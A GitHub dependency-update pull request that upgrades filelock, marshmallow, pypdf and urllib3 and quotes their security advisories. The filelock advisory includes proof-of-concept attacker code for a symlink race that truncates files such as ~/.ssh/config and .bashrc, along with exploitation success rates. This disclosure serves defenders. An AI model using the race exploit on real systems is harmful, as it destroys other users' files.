fix(deps): Update security updates [SECURITY] #4154

utic-renovate · 2025-12-24T22:07:18Z

This PR contains the following updates:

Package	Change	Age	Confidence
filelock	`==3.20.0` → `==3.20.1`
marshmallow (changelog)	`==3.26.1` → `==3.26.2`
pypdf (changelog)	`==6.3.0` → `==6.4.0`
urllib3 (changelog)	`==2.5.0` → `==2.6.0`

GitHub Vulnerability Alerts

CVE-2025-68146

Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.

Who is impacted:

All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:

virtualenv users: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths
PyTorch users: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures
poetry/tox users: through using virtualenv or filelock on their own.

Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.

Patches

Fixed in version 3.20.1.

Unix/Linux/macOS fix: Added O_NOFOLLOW flag to os.open() in UnixFileLock._acquire() to prevent symlink following.

Windows fix: Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock._acquire().

Users should upgrade to filelock 3.20.1 or later immediately.

Workarounds

If immediate upgrade is not possible:

Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases)
Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks
Monitor lock file directories for suspicious symlinks before running trusted applications

Warning: These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.

Technical Details: How the Exploit Works

The Vulnerable Code Pattern

Unix/Linux/macOS (src/filelock/_unix.py:39-44):

def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate

Windows (src/filelock/_windows.py:19-28):

def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate

The Race Window

The vulnerability exists in the gap between operations:

Unix variant:

Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️

Windows variant:

Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️

Step-by-Step Attack Flow

1. Attacker Setup:

# Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target

2. Attacker Creates Race Condition:

import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

# Launch attack
threading.Thread(target=attacker_thread).start()

3. Victim Application Runs:

from filelock import UnixFileLock

# Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

# At this point, /home/victim/.ssh/config is now 0 bytes!

4. What Happens Inside os.open():

On Unix systems, when os.open() is called:

// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}

Without O_NOFOLLOW flag, the kernel follows the symlink and truncates the target file.

Why the Attack Succeeds Reliably

Timing Characteristics:

Check operation (Path.exists()): ~100-500 nanoseconds
Symlink creation (os.symlink()): ~1-10 microseconds
Race window: ~1-5 microseconds (very small but exploitable)
Thread scheduling quantum: ~1-10 milliseconds

Success factors:

Tight loop: Running attack in a loop hits the race window within 1-3 attempts
CPU scheduling: Modern OS thread schedulers frequently context-switch during I/O operations
No synchronization: No atomic file creation prevents the race
Symlink speed: Creating symlinks is extremely fast (metadata-only operation)

Real-World Attack Scenarios

Scenario 1: virtualenv Exploitation

# Victim runs: python -m venv /tmp/myenv
# Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

# Result: /home/victim/.bashrc overwritten with:

# home = /usr/bin/python3
# include-system-site-packages = false

# version = 3.11.2
# ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker

Scenario 2: PyTorch Cache Poisoning

# Victim runs: import torch
# PyTorch checks CPU capabilities, uses filelock on cache

# Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

# Result: Trained ML model checkpoint truncated to 0 bytes

# Impact: Weeks of training lost, ML pipeline DoS

Why Standard Defenses Don't Help

File permissions don't prevent this:

Attacker doesn't need write access to victim_file
os.open() with O_TRUNC follows symlinks using the victim's permissions
The victim process truncates its own file

Directory permissions help but aren't always feasible:

Lock files often created in shared /tmp directory (mode 1777)
Applications may not control lock file location
Many apps use predictable paths in user-writable directories

File locking doesn't prevent this:

The truncation happens during the open() call, before any lock is acquired
fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks

Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

Simple Direct Attack (filelock_simple_poc.py):

Success rate: 33% per attempt (1 in 3 tries)
Average attempts to success: 2.1
Target file reduced to 0 bytes in <100ms

virtualenv Attack (weaponized_virtualenv.py):

Success rate: ~90% on first attempt (deterministic timing)
Information leaked: File paths, Python version, system configuration
Data corruption: Complete loss of original file contents

PyTorch Attack (weaponized_pytorch.py):

Success rate: 25-40% per attempt
Impact: Application crashes, model loading failures
Recovery: Requires cache rebuild or model retraining

Discovered and reported by: George Tsigourakos (@tsigouris007)

CVE-2025-68480

Impact

Schema.load(data, many=True) is vulnerable to denial of service attacks. A moderately sized request can consume a disproportionate amount of CPU time.

Patches

4.1.2, 3.26.2

Workarounds

# Fail fast
def load_many(schema, data, **kwargs):
    if not isinstance(data, list):
        raise ValidationError(['Invalid input type.'])
    return [schema.load(item, **kwargs) for item in data]

CVE-2025-66019

Impact

An attacker who uses this vulnerability can craft a PDF which leads to a memory usage of up to 1 GB per stream. This requires parsing the content stream of a page using the LZWDecode filter.

This is a follow up to GHSA-jfx9-29x2-rv3j to align the default limit with the one for zlib.

Patches

This has been fixed in pypdf==6.4.0.

Workarounds

If users cannot upgrade yet, use the line below to overwrite the default in their code:

pypdf.filters.LZW_MAX_OUTPUT_LENGTH = 75_000_000

CVE-2025-66418

Impact

urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd).

However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.

Affected usages

Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.

Remediation

Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.

If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.

CVE-2025-66471

Impact

urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.

The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.

Affected usages

Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.

stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly.

Remediation

Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.

If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3.

Credits

The issue was reported by @Cycloctane.
Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF.

Release Notes

tox-dev/py-filelock (filelock)

`v3.20.1`

Compare Source

What's Changed

CVE-2025-68146: Fix TOCTOU symlink vulnerability in lock file creation by @gaborbernat in tox-dev/filelock#461

Full Changelog: tox-dev/filelock@3.20.0...3.20.1

marshmallow-code/marshmallow (marshmallow)

`v3.26.2`

Compare Source

Bug fixes:

:cve:2025-68480: Merge error store messages without rebuilding collections.
Thanks 카푸치노 for reporting and :user:deckar01 for the fix.

py-pdf/pypdf (pypdf)

`v6.4.0`

Compare Source

Performance Improvements (PI)

Optimize loop for layout mode text extraction (#3543)

Bug Fixes (BUG)

Do not fail on choice field without /Opt key (#3540)

Documentation (DOC)

Document possible issues with merge_page and clipping (#3546)
Add some notes about library security (#3545)

Maintenance (MAINT)

Use CORE_FONT_METRICS for widths where possible (#3526)

Full Changelog

urllib3/urllib3 (urllib3)

`v2.6.0`

Compare Source

==================

Security

Fixed a security issue where streaming API could improperly handle highly
compressed HTTP content ("decompression bombs") leading to excessive resource
consumption even when a small amount of data was requested. Reading small
chunks of compressed data is safer and much more efficient now.
(GHSA-2xpw-w6gg-jr37 <https://github.com/urllib3/urllib3/security/advisories/GHSA-2xpw-w6gg-jr37>__)
Fixed a security issue where an attacker could compose an HTTP response with
virtually unlimited links in the Content-Encoding header, potentially
leading to a denial of service (DoS) attack by exhausting system resources
during decoding. The number of allowed chained encodings is now limited to 5.
(GHSA-gm62-xv2j-4w53 <https://github.com/urllib3/urllib3/security/advisories/GHSA-gm62-xv2j-4w53>__)

.. caution::

If urllib3 is not installed with the optional urllib3[brotli] extra, but
your environment contains a Brotli/brotlicffi/brotlipy package anyway, make
sure to upgrade it to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 to
benefit from the security fixes and avoid warnings. Prefer using
urllib3[brotli] to install a compatible Brotli package automatically.
If you use custom decompressors, please make sure to update them to
respect the changed API of urllib3.response.ContentDecoder.

Features

Enabled retrieval, deletion, and membership testing in HTTPHeaderDict using bytes keys. (#3653 <https://github.com/urllib3/urllib3/issues/3653>__)
Added host and port information to string representations of HTTPConnection. (#3666 <https://github.com/urllib3/urllib3/issues/3666>__)
Added support for Python 3.14 free-threading builds explicitly. (#3696 <https://github.com/urllib3/urllib3/issues/3696>__)

Removals

Removed the HTTPResponse.getheaders() method in favor of HTTPResponse.headers.
Removed the HTTPResponse.getheader(name, default) method in favor of HTTPResponse.headers.get(name, default). (#3622 <https://github.com/urllib3/urllib3/issues/3622>__)

Bugfixes

Fixed redirect handling in urllib3.PoolManager when an integer is passed
for the retries parameter. (#3649 <https://github.com/urllib3/urllib3/issues/3649>__)
Fixed HTTPConnectionPool when used in Emscripten with no explicit port. (#3664 <https://github.com/urllib3/urllib3/issues/3664>__)
Fixed handling of SSLKEYLOGFILE with expandable variables. (#3700 <https://github.com/urllib3/urllib3/issues/3700>__)

Misc

Changed the zstd extra to install backports.zstd instead of zstandard on Python 3.13 and before. (#3693 <https://github.com/urllib3/urllib3/issues/3693>__)
Improved the performance of content decoding by optimizing BytesQueueBuffer class. (#3710 <https://github.com/urllib3/urllib3/issues/3710>__)
Allowed building the urllib3 package with newer setuptools-scm v9.x. (#3652 <https://github.com/urllib3/urllib3/issues/3652>__)
Ensured successful urllib3 builds by setting Hatchling requirement to >= 1.27.0. (#3638 <https://github.com/urllib3/urllib3/issues/3638>__)

Configuration

📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.

If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

socket-security · 2025-12-24T22:07:50Z

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Package	Supply Chain Security	Vulnerability
pypi/urllib3@2.5.0 ⏵ 2.6.0	⁺¹	⁺²²
pypi/pypdf@6.3.0 ⏵ 6.4.0	⁺¹	⁺²
pypi/marshmallow@3.26.1 ⏵ 3.26.2	⁺¹	⁺²
pypi/filelock@3.20.0 ⏵ 3.20.1		⁺²

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fix(deps): Update security updates [SECURITY]

c2f8845

utic-renovate bot added the security label Dec 24, 2025

lawrence-u10d approved these changes Dec 24, 2025

View reviewed changes

lawrence-u10d added this pull request to the merge queue Dec 24, 2025

Merged via the queue into main with commit 7f2cb4c Dec 24, 2025
40 checks passed

lawrence-u10d deleted the renovate/security-updates branch December 24, 2025 23:47

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fix(deps): Update security updates [SECURITY] #4154

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fix(deps): Update security updates [SECURITY] #4154

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GitHub Vulnerability Alerts

Impact

Patches

Workarounds

Technical Details: How the Exploit Works

The Vulnerable Code Pattern

The Race Window

Step-by-Step Attack Flow

Why the Attack Succeeds Reliably

Real-World Attack Scenarios

Why Standard Defenses Don't Help

Exploitation Proof-of-Concept Results

Impact

Patches

Workarounds

Impact

Patches

Workarounds

Impact

Affected usages

Remediation

Impact

Affected usages

Remediation

Credits

Release Notes

What's Changed

Performance Improvements (PI)

Bug Fixes (BUG)

Documentation (DOC)

Maintenance (MAINT)

Security

Features

Removals

Bugfixes

Misc

Configuration

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